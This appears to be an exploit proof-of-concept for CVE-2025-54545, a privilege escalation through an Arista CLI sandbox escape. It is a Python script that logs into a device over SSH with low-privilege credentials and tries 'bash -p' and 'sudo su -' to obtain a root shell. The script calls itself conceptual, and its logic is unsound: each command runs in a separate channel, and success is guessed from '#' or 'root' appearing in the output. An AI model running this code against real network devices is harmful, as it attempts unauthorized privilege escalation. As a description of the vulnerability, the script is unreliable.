CVE-2025-54545 Arista CLI沙箱逃逸本地权限提升漏洞

# CVE-2025-54545 Arista CLI Sandbox Escape PoC # Note: This is a conceptual PoC based on CLI sandbox escape vulnerability # Actual exploitation requires specific device access and command sequences import socket import paramiko import time def cve_2025_54545_exploit(target_ip, username, password): """ Arista CLI Sandbox Escape PoC This PoC demonstrates the concept of exploiting CVE-2025-54545 to escape CLI sandbox and gain elevated privileges. WARNING: Only for authorized security testing """ try: # Connect to Arista device via SSH client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Execute restricted CLI commands as low-privilege user stdin, stdout, stderr = client.exec_command('enable') # Attempt sandbox escape using specific command sequence # The actual exploit may involve specific CLI commands or injection escape_commands = [ 'show version', 'bash -p', # Attempt to spawn privileged shell 'sudo su -', # Attempt privilege escalation ] for cmd in escape_commands: stdin, stdout, stderr = client.exec_command(cmd) output = stdout.read().decode('utf-8', errors='ignore') error = stderr.read().decode('utf-8', errors='ignore') # Check for successful shell escape if '#' in output or 'root' in output.lower(): print(f"[+] Sandbox escape successful via command: {cmd}") print(f"[+] Output: {output}") return True client.close() return False except Exception as e: print(f"[-] Exploitation failed: {str(e)}") return False # Example usage if __name__ == "__main__": target = "192.168.1.1" user = "lowpriv_user" passwd = "password123" print(f"[*] Attempting CVE-2025-54545 exploitation on {target}") result = cve_2025_54545_exploit(target, user, passwd) if result: print("[+] Privilege escalation successful!") else: print("[-] Exploitation attempt completed without success")